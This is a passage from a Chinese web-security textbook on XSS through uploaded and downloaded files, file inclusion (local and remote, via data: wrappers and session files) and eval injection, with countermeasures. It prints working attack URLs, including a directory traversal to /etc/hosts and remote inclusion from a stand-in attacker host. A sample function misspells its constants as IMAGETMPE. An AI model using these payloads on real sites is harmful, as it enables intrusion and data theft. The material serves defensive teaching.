中取得文件名的。首先获取扩展名，如果不是 gif、jpg 或 png 就报错。接着输出与各扩展名相对应的 Content-Type，然后再使用 readfile\n 函数读取文件内容并将其输出。这里将从查询字符串中取得的文件名经过 basename\n 函数进行处理是为了防范目录遍历漏洞（参考 4.10 节）。\n实施以上防范策略之后，用户上传的文件在服务器端被作为脚本执行这一安全隐患就能够得以消除。但是，如果用户使用的是 Internet Explorer（IE）浏览器，上述脚本就有遭到跨站脚本攻击的风险。此问题将在下一节讲述。\n专栏：校验扩展名时的注意点\n为了防范通过上传文件而使服务器执行脚本，本书介绍了使用下载脚本的方法。而如果只是为了防范文件被当作脚本执行，也能够采取校验文件扩展名的方法，只是实施周密的校验并不容易。\n举例来说，使用名为 SSI（Server Side Include）的功能就能将 HTML 中引入（Include）的文件当作命令（Command）执行。虽然使用 SSI 的 HTML 文件的标准扩展名为 shtml，但是有时通过设置也能使扩展名为 html 的文件允许 SSI 功能。换言之，有些情况下也需要把扩展名为 html 的文件视为脚本文件。\n由此可见，应该将哪些扩展名归类为可执行的脚本文件是不确定的。因此，校验扩展名时推荐只允许所需的最低限度。另外，如果没有特殊理由，还是推荐使用下载脚本的方法来加以应对。\n4.12.3 文件下载引起的跨站脚本\n概要\n当用户下载已上传的文件时，浏览器有时会不能正确识别文件的类型。比如，尽管应用中认定某文件为 PNG 格式，但如果该图像文件的数据中包含 HTML 标签，在某些条件下浏览器就会将其误认为 HTML 文件，从而便会执行图像文件中的 JavaScript。这就是文件下载引起的跨站脚本（XSS）。\n攻击者会通过上传嵌入 HTML 或 JavaScript 的图像文件或 PDF 文件来对此漏洞发起攻击。虽然用常规的方法阅览时，这些恶意文件并不会被识别为 HTML，但是攻击者会使用一些伎俩促使上传的文件被识别为 HTML。而一旦用户的浏览器将文件识别为 HTML，XSS 攻击就成功了。\n文件下载引起的 XSS 攻击所造成的影响，与 4.3.1 节讲述的影响一样。\n为此，可通过采取如下对策来防范文件下载引起的 XSS 漏洞。\n正确设置文件的 Content-Type\n确保图像文件的扩展名与内容（图像文件头）相符\n判定为用于下载的文件时，在响应头中指定 Content-Disposition:attachment\n文件下载引起的 XSS 漏洞总览\n攻击手段与影响\n接下来就让我们首先看一下两种利用文件下载的 XSS 攻击的手段。这里介绍的攻击方法能在 Internet Explorer（IE）中重现，而使用 IE 以外的浏览器则不一定能够重现，但由于 IE 的市场份额很高，而且使用此处介绍的方法开发的应用也同样适用于其他浏览器，因此这里我们以 IE 浏览器为例来进行讲述。\n图像文件引起的 XSS\n在某些情况下，将包含 HTML 或 JavaScript 代码的文件伪装成图像文件上传，就可能会形成跨站脚本（XSS）攻击。而且通过下面展示的例子也可以看到，即使已经实施了相应的对策来防止用户上传的脚本在服务器端被执行，在下载文件的时候还是有可能会遭受跨站脚本攻击。\n虽然 IE8 及以后的版本中已经对利用图像的 XSS 攻击进行了防范，但考虑到 IE7 及之前的版本还有一定数量的用户，因此在应用中采取防范措施还是很有必要的。\n在试验环境中打开 http://example.jp/4c/4c-001a.php\n ，或者在 http://example.jp/4c/\n 的菜单中点击“2. 4c-001a: 文件上传（经过下载脚本）”链接，该上传页面已经实施过针对执行脚本的防范对策。\n由于页面上会要求输入文件名，因此这里我们新建以下文本文件并将文件命名为 4c-901.png 后保存，然后再在页面上指定此文件名。\n代码清单 4c-901.png\n<script>alert('XSS');</script>\n完成上传后，页面显示如下。由于 4c-901.png 并非标准的图像文件，因此页面上显示了一个红叉的记号。\n图 4-108 上传了伪装成图像的文件\n这时，点击 4c-901.png 链接，先前的伪装图像就会直接显示出来。如下图所示，IE7 执行了 JavaScript 代码，而 IE8 则只显示了文本信息。\n图 4-109 在 IE7 及之前的版本中 XSS 攻击成功\n在实际发动攻击时，攻击者上传包含恶意 JavaScript 代码的图像文件以后，还会将显示此图像的 URL 添加到恶意网站中。然而，由于使用 img 元素显示图像时 JavaScript 不会被执行，因此攻击者通常利用 iframe 等元素来让它以 HTML 的形式显示。\n而 JavaScript 被执行后，网站的 HTTP 消息就如下图的 Fiddler 界面所示。\n图 4-110 被执行 JavaScript 的网站的 HTTP 消息\n可以看出 HTTP 响应中的 Content-Type 消息头准确无误地指定为了 image/png。然而 IE7 却对此视而不见，仍然将该响应判断为 HTML 类型，从而也就导致了 JavaScript 被执行。\n利用图像文件的 XSS 所造成的影响与 4.3 节介绍的普通的 XSS 相同，即 Cookie 被窃取而造成伪装攻击、Web 功能被恶意使用、页面被篡改进而导致钓鱼攻击等。\nPDF 下载引起的 XSS\n除了图像服务网站之外，下面我们再来看一个提供 PDF 等应用文件下载服务的网站案例。这里的示例网站也就相当于存储服务网站的简略版。\n示例脚本解说\n首先我们来看一下示例脚本。该试验中的文件上传页面（4c-011.php）基本上直接沿用了 4c-001.php，只是将 action 的目标改为了 4c-012.php。\n同样，在接收上传文件的页面（4c-012.php）和下载脚本（4c-013.php）中，将接收文件的类型更改为了 PDF。\n代码清单 /4c/4c-012.php（开头和末尾）\n<?php\ndefine('UPLOADPATH', '/var/upload');\nfunction get_upload_file_name($tofile) {\n // 校验扩展名\n $info = pathinfo($tofile);\n $ext = strtolower($info['extension']); // 扩展名（统一为小写字母）\n if ($ext != 'pdf') {\n die(' 只能上传扩展名为 pdf 的文件 ');\n }\n// ... 中略\n$imgurl = '4c-013.php?file=' . basename($tofile);\n?>\n<body>\n<a href=\"<?php echo htmlspecialchars($imgurl); ?>\"><?php echo htmlspecialchars($orgfile, ENT_NOQUOTES, 'UTF-8'); ?>\n已上传 </a><br>\n</body>\n下面是下载脚本的源码。阴影部分为与 4c-003.php 的不同之处。\n代码清单 /4c/4c-013.php\n<?php\ndefine('UPLOADPATH', '/var/upload');\n$mimes = array('pdf' => 'application/x-pdf');\n$file = $_GET['file'];\n$info = pathinfo($file); // 取得文件信息\n$ext = strtolower($info['extension']); // 扩展名（统一为小写字母）\n$content_type = $mimes[$ext]; // 取得 Content-Type\nif (! $content_type) {\n die(' 只能上传扩展名为 pdf 的文件 ');\n}\nheader('Content-Type: ' . $content_type);\nreadfile(UPLOADPATH . '/' . basename($file));\n?>\n首先看到的是正常情况下的页面跳转。在页面 4c-011.php 上指定恰当的 PDF 文件后点击上传按钮，页面显示如下。\n图 4-111 上传 PDF 文件后的页面\n这时点击下载链接就能下载 PDF 文件，页面显示如下图所示。\n图 4-112 点击链接后下载 PDF\n将 HTML 文件伪装成 PDF 而引起的 XSS\n下面我们就不再使用正常的 PDF 文件，而是将仅包含 script 元素的 HTML 文件命名为 4c-902.pdf 后保存，然后再通过刚才的脚本（4c-011.php）将其上传。\n代码清单 4c-902.pdf\n<script>alert('XSS');</script>\n上传此伪装 PDF 文件后，页面显示如下图所示。这时点击“4c-902.pdf 上传完毕”链接就会出现下载文件的对话框。\n而以下就是攻击者生成恶意链接的手段。右击下载使用的链接，选择菜单中的“复制快捷方式”。\n图 4-113 选择菜单中的“复制快捷方式”\n接下来，将快捷方式（URL）粘贴在浏览器的地址栏上。这时理论上应该会出现类似于下面的 URL，但由于 file= 后面的文件名是随机生成的，因此在读者的环境中应该会显示为其他字符串。\nhttp://example.jp/4c/4c-013.php?file=1af12536.pdf\n此时，将字符串 /a.html 插入到 URL 中，如下面的阴影部分所示。插入的字符串被称为 PATHINFO，这是以貌似文件名的形式将参数添加到 URL 中的方法。由于文件 a.html 实际上并 不存在，因此该字符串会被作为参数传递给 4c-013.php 脚本。\nhttp://example.jp/4c/4c-013.php/a.html\n?file=1af12536.pdf\n如果这时按下回车键，如下图所示，JavaScript 就会被执行。与伪装图像的情况不同，IE7 和 IE8 中都执行了 JavaScript 代码。\n图 4-114 XSS 攻击成功\n由此可见，将 HTML（JavaScript）文件伪装成 PDF 并上传后，只要在调用该文件的 URL 中添加 PATHINFO，就能使得攻击对象网站执行 JavaScript。\n漏洞的根本原因是 Content-Type 不正确\n伪装 PDF 之所以会引起 XSS 漏洞，其根本原因在于 Content-Type 有误。PDF 正确的 Content-Type 为 application/pdf，而如果 Content-Type 被错误地设置为了 application/x-pdf`，就会直接导致漏洞的产生。\n安全隐患的产生原因\n文件下载之所以会引起 XSS 是因为受到了 Internet Explorer 特性的影响。Internet Explorer 中判断文件类型时，除了基于 HTTP 响应的 Content-Type 消息头以外，还会参考 URL 中的扩展名和文件的内部数据。虽然具体的判断方法并没有对外公开，但目前能够得知的内部行为如下。\n内容为图像时\n文件内容为图像的情况下，IE 判断文件类型时除了基于响应头中的 Content-Type，还会用到图像文件的文件头。图像文件头是指位于文件开头的固定字符串，一般被用来识别文件类型。GIF、JPEG65\n 、PNG 的文件头如下表所示。\n表 4-20 图像文件的文件头\n图像格式\n文件头\nGIF\nGIF87a 或 GIF89a\nJPEG\n\\xFF\\xD8\\xFF\nPNG\n\\x89PNG\\x0D\\x0A\\x1A\\x0A\nInternet Explorer（7 及以前版本）中默认按照以下方法判断文件类型。\nContent-Type 和文件头一致时\n这时采用 Content-Type 所示的文件类型。\nContent-Type 和文件头不一致时\nContent-Type 和文件头不一致时，两者都会被浏览器忽略。这时浏览器会根据文件的内容来推测文件类型。如果文件中包含 HTML 标签，该文件就可能会被判定为 HTML 文件 66\n 。在“图像文件引起的 XSS”这一小节中介绍的伪装 PNG 文件就属于这类情况。该示例文件中虽然没有包含图像文件头，但根据笔者的试验，即使添加了图像文件头，如果与 Content-Type 矛盾也会被浏 览器无视 67\n 。\n内容不为图像时\n图像文件以外的情况下，各 IE 版本都做如下处理。首先，根据浏览器是否能够处理接收到的 Content-Type，IE 的举动会有所不同。\n如果IE能够处理收到的 Content-Type，就会按照 Content-Type 来处理。注册表 HKEY_CLASSES_ROOT\\MIME\\Database\\Content Type 中保留了IE能够处理的所有 Content-Type。图 4-115 中列出了其中的一部分。如图所示，PDF 的 Content-Type 为 application/pdf，而非 application/x-pdf。\n图 4-115 IE 能够处理的 Content-Type\n如果收到的 Content-Type 不是 IE 能够处理的类型，那么 IE 就会根据 URL 中的扩展名进行判断。判断规则的详情非常复杂，有兴趣的读者可以参考长谷川阳介的文章《无法忽视：IE 中对 Content-Type 的忽视》[1]。在上面介绍的“将 HTML 文件伪装成 PDF 而引起的 XSS”这一小节中，生成用来攻击的 URL 时添加了作为 PATHINFO 的 /a.html，这就是恶意利用了 IE 会通过 URL 中的扩展名来判断文件类型的特性。\n65\n JPEG 本来是图像压缩方法的名称，作为文件格式时的术语应该为 JFIF，然而由于 JPEG 也普遍被用来指代 JFIF 文件格式，因此本书也采用 JPEG 这个称呼。\n66\n 在以前（IE7 为止）的版本中，当文件满足上述条件时会被判定为 HTML 文件，而从 IE8 开始，满足上述同等条件的文件则会被视为文本文件（text/plain）。\n67\n 详情请参考笔者的博客文章《图像文件引起跨站脚本（XSS）的倾向与对策》[2]。\n对策\n应对文件下载所引起的 XSS 漏洞的方法可分为上传时的对策和下载时的对策，分别如下。\n文件上传时的对策\n上传文件时实施以下操作。\n校验扩展名是否在允许范围内\n图像文件的情况下确认其文件头\n关于校验扩展名，4.12.2 节的对策已经详述过。PHP 可以使用 getimagesize\n 函数来确认图像的文件头。\n格式清单 getimagesize 函数\n array getimagesize(string $filename [, array &$imageinfo])\n该函数将接收到的图像文件的文件名作为参数，并以数组的形式返回图像的长宽尺寸和图像格式等信息。下面是一些常见的图像格式所对应的整数值和常量。详情请参考 PHP 的文档 68\n 。\n表 4-21 getimagesize 函数返回的图像格式信息\n值\n常量\n1\nIMAGETYPE_GIF\n2\nIMAGETYPE_JPEG\n3\nIMAGETYPE_PNG\n在之前的介绍中，我们已经了解到图像上传脚本的改良版 4c-002a.php 中存在 XSS 漏洞。而使用 getimagesize\n 函数就可以消除 XSS 漏洞。假设改良后的脚本名为 4c-002b.php。检验图像文件的函数 check_image_type\n 的定义如下。\n代码清单 /4c/4c-002b（check_image_type 函数的定义）\n // function check_image_type($imgfile, $tofile)\n // $imgfile : 校验对象的图像文件名\n // $tofile : 文件名（用于校验扩展名）\n function check_image_type($imgfile, $tofile) {\n // 取得并校验扩展名\n $info = pathinfo($tofile);\n $ext = strtolower($info['extension']); // 扩展名（统一为小写字母）\n if ($ext != 'png' && $ext != 'jpg' && $ext != 'gif') {\n die(' 只能上传扩展名为 gif、jpg 或 png 的图像文件 ');\n }\n // 取得图像类型\n $imginfo = getimagesize($imgfile); // 取得图像信息的数组\n $type = $imginfo[2]; // 取出图像类型\n // 下面，如果是正常的组合就 return\n if ($ext == 'gif' && $type == IMAGETMPE_GIF)\n return true;\n if ($ext == 'jpg' && $type == IMAGETMPE_JPEG)\n return true;\n if ($ext == 'png' && $type == IMAGETMPE_PNG)\n return true;\n // 如果到最后都没有 return 就报错\n die(' 扩展名和图像类型不一致 ');\n }\n下面为调用上述 check_image_type\n 函数的部分。阴影部分即为添加的代码行。\n代码清单 /4c/4c-002b.php\n$tmpfile = $_FILES[\"imgfile\"][\"tmp_name\"];\n$orgfile = $_FILES[\"imgfile\"][\"name\"];\nif (! is_uploaded_file($tmpfile)) {\n die(' 文件没有上传 ');\n}\n// 校验图像\ncheck_image_type($tmpfile, $orgfile);\n$tofile = get_upload_file_name($orgfile);\n专栏：BMP 格式的注意点与 MS07-057\n本书中介绍了浏览器涉及的 3 种图像格式，即 GIF、JPEG 与 PNG，而有的浏览器也可以处理其他格式的图像文件。像 Windows 中的标准格式 BMP 也能够在主流的浏览器中显示。那么，遇到 BMP 格式时该如何处理呢？\n其实上面介绍的方法并不能完美地处理 BMP 格式的图像。BMP 格式的图像文件头为 BM，但处理 BMP 图像时，即使 Content-Type 与文件头一致，IE 6 和 IE 7 中也有可能将其识别为 HTML 从而导致 JavaScript 被执行。\nPNG 格式也曾经发生过与 BMP 相同的现象，但这个问题已经由 MS07-057 安全更新补丁（2007 年 10 月）所修复。由此可见，提醒用户安装最新的安全更新补丁是非常重要的。\n另外，从实用性的角度来看，由于 BMP 很不适合压缩（只能使用单纯的压缩方式），并且 BMP 仅限于 Windows 使用，因此我们并没有必要非在互联网上使用 BMP 格式的文件。而需要使用 BMP 时也都可以用 PNG 格式来代替。\n综上所述，这里不推荐大家在 Web 上使用 BMP 格式的文件。\n文件下载时的对策\n下载文件时的对策如下。\n正确设置 Content-Type\n图像文件的情况下确认其文件头\n必要时设置 Content-Disposition 消息头\n正确设置 Content-Type\n在 PDF 文件下载所引起的 XSS 漏洞示例中，漏洞产生的主要原因均为 Content-Type 设置有误。因此，只要将 PDF 格式的 Content-Type 正确设置为 application/pdf，就能够消除漏洞。而且除 IE 之外，正确指定 Content-Type 这一对策也适用于其他所有的浏览器。\n如果下载时不经过下载脚本而是将文件保存在公开目录中的话，就一定要确认 Web 服务器的设置是否有误。Apache 中，Content-Type 的设置被保存在了名为 mime.types 的配置文件中。PDF 等常见的软件一般不会有问题，而如果用到了很生僻的软件或自己设置 mime.types 时，请务必确保浏览器能够识别该 Content-Type。\n图像文件的情况下确认其文件头\n通过下载脚本来下载图像文件时，只要在下载时确认了文件头，即使由于某些原因 Web 服务器中混入了非法的图像文件，也不会影响到应用程序。\n下面是实施了检验文件头对策的改良版的下载脚本（摘要）。阴影部分中调用了检验文件头的函数 check_image_type\n 。\n代码清单 /4c/4c-003b.php\n<?php\ndefine('UPLOADPATH', '/var/upload');\n// function check_image_type($imgfile, $tofile)\n// $imgfile : 校验对象的图像文件名\n// $tofile : 文件名（用于校验扩展名）\nfunction check_image_type($imgfile, $tofile) { /* 省略 */ }\n$mimes = array('jpg' => 'image/jpeg', 'png' => 'image/png', 'gif' => 'image/gif');\n$file = $_GET['file'];\n$info = pathinfo($file); // 取得图像类型\n$ext = strtolower($info['extension']); // 扩展名（统一为小写字母）\n$content_type = $mimes[$ext]; // 取得 Content-Type\nif (! $content_type) {\n die(' 只能上传扩展名为 gif、jpg 或 png 的图像文件 ');\n}\n$path = UPLOADPATH . '/' . basename($file);\ncheck_image_type($path, $path);\nheader('Content-Type: ' . $content_type);\nreadfile($path);\n?>\n必要时设置 Content-Disposition 消息头\n当下载的文件并不需要使用应用程序打开，而是只要求能够下载就行的情况下，可以在响应消息头中指定 Content-Disposition: attachment。这时，如果将 Content-Type 设为 application/octetstream，文件类型就变成了“用于下载的文件”。下面为消息头的设置示例。\nContent-Type: application/octet-stream\nContent-Disposition: attachment; filename=\"hogehoge.pdf\"\n这里，Content-Diaposition 消息头的选项属性 filename 被用于指定保存文件时的默认文件名。\n其他对策\n以上介绍的 XSS 对策是为了防范漏洞所需要进行的最低限度的校验处理。例如，仅校验图像文件头并无法确认是否真的能在用户的浏览器上显示。\n因此在决定 Web 应用的详细规格时，还应当探讨是否要执行以下校验。\n除了图像文件的大小之外还校验尺寸和色数等\n校验文件是否能作为图像文件读取\n扫描病毒（详情见 7.4 节）\n校验文件内容（自动或手动）\n成人内容\n侵犯版权的内容\n违反法律或妨害公共秩序的内容\n其他\n68\nhttp://www.php.net/manual/zh/function.getimagesize.php\n专栏：将图像托管在其他域名\n2009 年左右，有些网站开始将图像托管在主服务域名之外的单独域名上。下面列举的就是一些将图像托管在其他域名的网站。\n表 4-22 将图像托管在其他域名的网站案例\n网站名\n主域名\n图像使用的域名\nYahoo ！ JAPAN\nyahoo.co.jp\nyimg.jp\nYouTube\nyoutube.com\nytimg.com\nniconico 动画\nnicovideo.jp\nnimg.jp\nTwitter\ntwitter.com\ntwimg.com\nAmazon.co.jp\namazon.co.jp-images\namazon.com\n上面这些都是高流量的网站，虽然将图像使用的域名分离出来多是为了使网站的响应速度更快，但另一方面，这一操作也具有提升网站安全性的效果。\n这是因为，将用户上传的图像或 PDF 等文件保存在其他域名后，即使图像文件造成的 XSS 攻击取得成功，也不会波及主服务。\n下载时的 XSS 基本上属于浏览器的问题，由于这一问题在市场份额很高的 IE 中非常常见，而且至今尚未得到完全修复。因此，作为辅助性对策，最好考虑一下将图像存储在其他域名的方法。\n参考：用户 PC 中没有安装对应的应用程序时\n如果用户的 PC 中没有安装 Content-Type 所对应的应用程序，该 Content-Type 就会被浏览器视为“未知”，从而就可能会造成 XSS。\n要处理此问题并不容易。但通过采取以下措施即可进行有效的防范。\n托管文件的服务器使用其他域名\n添加 Content-Disposition 消息头\n然而，由于上述方法会产生副作用，因此建议采取以下方法，虽然可靠性略逊一筹但能保证没有副作用。\n校验 URL 是否与应用中预想的一致\n通知用户安装浏览文件所需的应用程序\n总结\n本节讲述了图像的上传与下载处理所引起的安全隐患。虽然上传处理造成的安全隐患一直以来都没有受到太大关注，但是，鉴于漏洞造成的影响较大，并且可照相手机的高速普及造成了照片分享网站的增加，此外存储服务网站也在快速增长，因此想必今后会有越来越多的 Web 应用需要警惕这个安全隐患。\n文件上传与下载问题的基本对策为正确设置 Content-Type 和扩展名。图像文件的情况下，校验文件头是最起码的操作，此外，根据需要还应当校验图像文件的有效性。\n参考文献\n[1] はせがわようすけ .（2009 年 3 月 30 日）. [ 無視できない ]IE の Content-Type 無視（[ 无法忽视 ]IE 中对 Content-Type 的忽视）. 参考日期：2010 年 10 月 13 日 . 参考网址：@IT ：http://www.atmarkit.co.jp/ait/articles/0903/30/news118.html\n[2] 德丸浩（2007 年 12 月 10 日）. 画像ファイルによるクロスサイト · スクリプティング (XSS) 傾向と対策（图像文件引起跨站脚本（XSS）的倾向与对策）. 参考日期：2010 年 10 月 13 日，参考网址：德丸浩の日記 : http://www.tokumaru.org/d/20071210.html\n4.13 include 相关的问题\n本节将讲述由能够使部分脚本从外界读入的 include 机制所引发的安全隐患。\n4.13.1 文件包含攻击\n概要\nPHP 等脚本语言能够从外部文件读取脚本源代码的一部分。PHP 中对应的函数有 require\n 、require_once\n 、include\n 、include_once\n 。\n如果外界能够指定 include\n 的对象文件名，就可能会发生意料之外的文件被 include 而遭到攻击。这被称为文件包含漏洞 69\n 。某些情况下，PHP 中还可以通过配置来指定外部服务器的 URL 作为文件名，这就被称为远程文件包含（RFI）。\n69\n 本书对安全隐患的命名参考了 CWE-98 中的记述（http://cwe.mitre.org/data/definitions/98.html\n 2010 年 12 月 19 日）。关于 CWE（Common Weakness Enumeration，统一的软件漏洞一览定义工程）的说明，请参考 http://www.ipa.go.jp/security/vuln/CWE.html\n （日文）。\n文件包含攻击的影响如下。\nWeb 服务器的文件被外界浏览而导致信息泄漏\n脚本被任意执行所造成的影响。典型的影响如下\n篡改网站\n执行非法操作\n攻击其他网站（垫脚石）\n为了防范文件包含漏洞，建议实施以下任意一项对策。\n避免 include 的路径名中包含外界传入的参数\ninclude 的路径名中包含外界传入的参数时，限制其字符种类仅为字母和数字\n文件包含漏洞总览\n攻击手段与影响\n接下来我们就来看一下文件包含攻击的手段与其影响。首先来看以下存在漏洞的示例脚本。\n代码清单 /4d/4d-001.php\n<body>\n<?php\n $header = $_GET['header'];\n require_once($header . '.php');\n?>\n正文【省略】\n</body>\n这段脚本使用了 require_once\n 来读取页面头部文件。实验环境的虚拟机中提供有头部文件示例，即以下 spring.php 文件。\n代码清单 [ 示例头部文件 ] spring.php\n已经是春天了啊 <br>\n正常情况下，使用如下 URL 就能指定此示例文件。\nhttp://example.jp/4d/4d-001.php?header=spring\n图 4-116 执行示例脚本后的页面显示\n文件包含引发的信息泄漏\n下面就让我们来看一下如何实施攻击。这里我们首先借鉴目录遍历攻击的手法来启动以下 URL。URL 末尾的 %00 是为了使 PHP 脚本中添加的 .php 扩展名无效，这一点在 4.2 节中已经做过介绍。\nhttp://example.jp/4d/4d-001.php?header=../../../../etc/hosts%00\n图 4-117 文件包含攻击致使 Web 服务器的文件内容被显示\n/etc/hosts 文件的内容被显示在了页面上。由此可见，文件包含攻击能造成 Web 服务器内的非公开文件泄漏。\n目前为止，我们所看到的漏洞造成的影响可以说与目录遍历漏洞完全相同，但由于 include 机制还能够读取脚本并将其执行，因此就能够让外界执行其指定的脚本，从而形成极大的风险。下面我们就来看一下这种攻击手段。\n执行脚本 1：远程文件包含攻击（RFI）\nPHP 的 include/require\n 有如下功能：如果指定 URL 作为文件名，就能够 include 外部服务器的文件（Remote File Inclusion; RFI）。但由于此功能极其危险，因此在 PHP5.2.0 之后的版本中都默认将其设为无效。\n但为了讲解这一漏洞，本书的试验环境虚拟机中将远程文件包含功能设为了有效。因此，这里我们就能够重现下面介绍的攻击模式。\n首先，准备以下文件作为外部的攻击脚本。\n代码清单 http://trap.example.com/4d/4d-900.txt\n<?php phpinfo(); ?>\n然后，通过如下形式的 URL 来调用 4d-001.php。由于在 4d-001.php 内部会给 URL 添加 .php 扩展名，因此在 URL 的最后添加 ? 以使得 .php 被解释为查询字符串。\nhttp://example.jp/4d/4d-001.php?header=http://trap.example.com/4d/4d-900.txt?\n在 4d-001.php 的 require_once\n 处给文件名添加 .php 扩展名后，最终拼接成的 URL 就如下所示。\nhttp://trap.example.com/4d/4d-900.txt?.php\n可以看出，扩展名 .php 变成了查询字符串，被下载的文件变成了 4d-900.txt。\n最终，页面上显示了 phpinfo\n 的执行结果。\n图 4-118 执行了外部服务器的脚本\n图 4-118 显示了一些能够用来判断 phpinfo\n 是在哪个服务器上被执行的项。例如，从 Host 项中就能得知 phpinfo\n 是在 example.jp 上被执行的。\n专栏：RFI 攻击的变种\n正如上面所介绍的那样，如果 RFI 被设置为有效，那么攻击者通过将用来攻击的字符串存放在外部服务器中并设法使其被包含，就能达到执行任意脚本的目的。其实，除此之外还有更为简单的攻击方式。\n具体来说，针对 RFI 漏洞，使用 data: 数据流封装器或者 PHP 输入流也能够实施攻击。下面的 URL 即展示了如何使用 data: 数据流封装器来实施攻击70\n 。\nhttp://example.jp/4d/4d-001.php?header=data:text/plain;charset=,<?php+phpinfo()?>\n防范此类攻击的策略同 RFI 一样，将 allow_url_include 设为 Off 即可（后述）。另外，关于 data: 数据流封装器或者 PHP 输入流的详情，可以参考 PHP 的官方文档。\nPHP 输入流的文档\nhttp://www.php.net/manual/zh/wrappers.php.php\ndata: 数据流封装器的文档\nhttp://www.php.net/manual/zh/wrappers.data.php\n执行脚本 2：恶意使用保存会话信息的文件\n即使 RFI 功能被禁止，只要能够在 Web 服务器上写入任意内容，攻击者就还是有可能通过文件包含攻击而使外界执行脚本。比如下列两种情况。\n允许上传文件的网站\n将会话变量保存在文件中的网站\n上述两种情况下，如果文件名能够被推测，就会造成问题。下面我们将主要介绍将会话变量保存在文件中的情况，这也是 PHP 的默认设置。\n这里假设攻击对象网站的某个页面将外界输入的值直接保存至了会话变量。下面我们以咨询网站的脚本为例进行说明。首先看到的是输入表单。为了使读者们能更直观地体验漏洞，这里的攻击代码（阴影部分）被设置为了初始值，而这一操作本来是没有的。\n代码清单 /4d/4d-002.html\n<body>\n<form action=\"4d-003.php\" method=\"POST\">\n请提问 <br>\n<textarea name=answer rows=4 cols=40>\n<?php phpinfo(); ?>\n</textarea><br>\n<input type=\"submit\">\n</form>\n</body>\n接着就是接收到用户提问后进行处理的脚本。脚本中只是将 POST 的数据保存到会话变量中，此处为了演示的方便，我们将会话变量的保存地址等显示在页面上。\n代码清单 /4d/4d-003.php\n <?php\n session_start();\n $_SESSION['answer'] = $_POST['answer'];\n $session_filename = session_save_path() . '/sess_' . session_id();\n ?>\n <body>\n 提问已受理 <br>\n 保存会话信息的文件名 <br><?php echo $session_filename; ?><br>\n <a href=\"4d-001.php?header=<?php echo $session_filename; ?>%00\">\n 文件包含攻击 </a>\n </body>>\n执行上述脚本后的页面如图 4-119 所示。\n图 4-119 执行示例脚本的页面显示\n为了方便读者参考，上图中在页面上显示了保存会话信息的文件名，但实际的应用程序中并不会显示出来，因此文件名是否能被推测就成为了关键问题。\n保存会话信息的文件名由会话信息的存储路径和会话 ID 组成。存储路径可以在配置中更改，但由于各个 OS（Linux 发行版）都决定了各自的默认存储路径，想必多数应用程序都直接使用了默认路径。而会话 ID 能够从 Cookie 值中获取。因此，攻击者能够推测保存会话信息文件的文件名。\n保存到文件中的会话信息的形式如下。\n answer|s:21:\"<?php phpinfo(); ?>\n \";\n这是有效的 PHP 代码格式，因此应该能够被执行。我们也可以点击图 4-119 中的“文件包含攻击”链接来尝试。点击后的页面显示如下。链接的 URL 中使用了空字节攻击的手法使得 .php 扩展名无效。\n图 4-120 外界指定的脚本被执行\n如你所见，外界指定的脚本（phpinfo\n 函数）被执行了。\n综上所述，文件包含攻击除了能造成 Web 服务器内的文件泄漏，根据 Web 应用规格或设置的不同，还可能会造成外界指定的任意脚本被执行。\n70\n 此处的攻击方法参考了小邨孝明的博客文章：http://d.hatena.ne.jp/t_komura/20070128/1170004898\n 。\n安全隐患的产生原因\n当应用满足以下两个条件时，就会产生文件包含漏洞。\ninclude 的文件名能够由外界指定\n没有校验 include 的文件名是否妥当\n对策\n消除文件包含漏洞的思路与目录遍历漏洞相同。\n避免由外界指定文件名\n避免文件名中包含目录名\n限制文件名仅包含字母和数字\n具体方法在 4.10 节中已经做过讲述，因此此处就不再重复了。\n另外，作为防范文件包含攻击的辅助性对策，建议通过设置将 RFI 功能禁止。虽然在 PHP5.2.0 以后版本中已经默认对其进行了禁止，但保险起见最好还是确认一下。确认方法为查看 phpinfo\n 函数的执行结果中 allow_url_include 项目是否为 Off。php.ini 中的设置如下。\nallow_url_include = Off\n总结\n本节讲述了脚本语言中的文件包含功能所引发的漏洞。PHP 中将文件动态 include 的做法无处不在，而如果对文件名的校验不充分，就可能会混入文件包含漏洞。由于该隐患影响极大，因此请务必积极实施防范策略。\n4.14 eval 相关的问题\nPHP 和 Perl、Ruby、JavaScript 等多数脚本语言中都提供了将字符串解释为脚本代码并执行的功能。绝大多数情况下，该功能由名为 eval\n （evaluate 的省略）的函数提供。而本节就将讲述因 eval\n 的使用方法不当而引起 eval 注入漏洞的问题。\n4.14.1 eval 注入\n概要\n如果 eval\n 函数的使用方法不当，就有可能导致外界传入的脚本被执行。这被称为 eval 注入 71\n 攻击，招致此类攻击的漏洞即为 eval 注入漏洞。\n71\n 也有的书中称为“eval 利用攻击”。本书参考了 CWE-95 的命名“Eval Injection”而将其称为 eval 注入。参考：http://cwe.mitre.org/data/definitions/95.html\n （2010 年 12 月 18 日）。\neval 注入造成的影响与 OS 命令注入攻击相同，具体如下。\n信息泄漏\n篡改网站\n执行非法操作\n攻击其他网站（垫脚石）\neval 注入漏洞的对策为实施以下任意一项。\n不使用 eval\n 或与 eval\n 相当的功能\n避免 eval\n 的参数中包含外界传入的参数\neval\n 的参数中包含外界传入的参数时，将其限定为只包含字母和数字\neval 注入漏洞总览\n攻击手段与影响\n接下来我们就来看一下 eval 注入的攻击手段及其影响。\n存在漏洞的应用\neval\n 可以被应用于各种各样的目的，而作为示例，这里我们来看一下将复杂的数据变换为字符串（序列化）后将其在表单之间传递的情况下所产生的漏洞。\nPHP 中存在名为 var_export\n 的函数，它会将表达式的值以 PHP 代码的形式返回。下面是该函数的执行例。\n<?php\n $e = var_export(array(1, 2, 3), true); // 将数组转换为 PHP 代码的形式\n echo $e;\n执行结果\narray (\n 0 => 1,\n 1 => 2,\n 2 => 3,\n)\n由于执行结果是 PHP 代码的形式，因此能够使用 eval\n 来回溯得到原先的数据（反序列化）。\n下面为使用 var_export\n 函数将数组序列化后传递给表单的脚本。\n代码清单 /4e/4e-001.php\n<?php\n $a = array(1, 2, 3); // 传递的数据\n $ex = var_export($a, true); // 序列化\n $b64 = base64_encode($ex); // Base64 编码\n?>\n<body>\n<form action=\"4e-002.php\" method=\"GET\">\n<input type=\"hidden\" name=\"data\"\n value=\"<?php echo htmlspecialchars($b64); ?>\">\n<input type=\"submit\" value=\" 下一步 \">\n</form>\n</body>\n以上脚本将收到的数据（此处为数组）经过 var_export\n 函数序列化并使用 Base64 编码加密后将其传递给了 4e-002.php 脚本。\n代码清单 /4e/4e-002.php\n<?php\n $data = $_GET['data'];\n $str = base64_decode($data);\n eval('$a = ' . $str . ';');\n?>\n<body>\n<?php var_dump($a); ?>\n</body>\n4e-002.php 将接收到的数据以 Base64 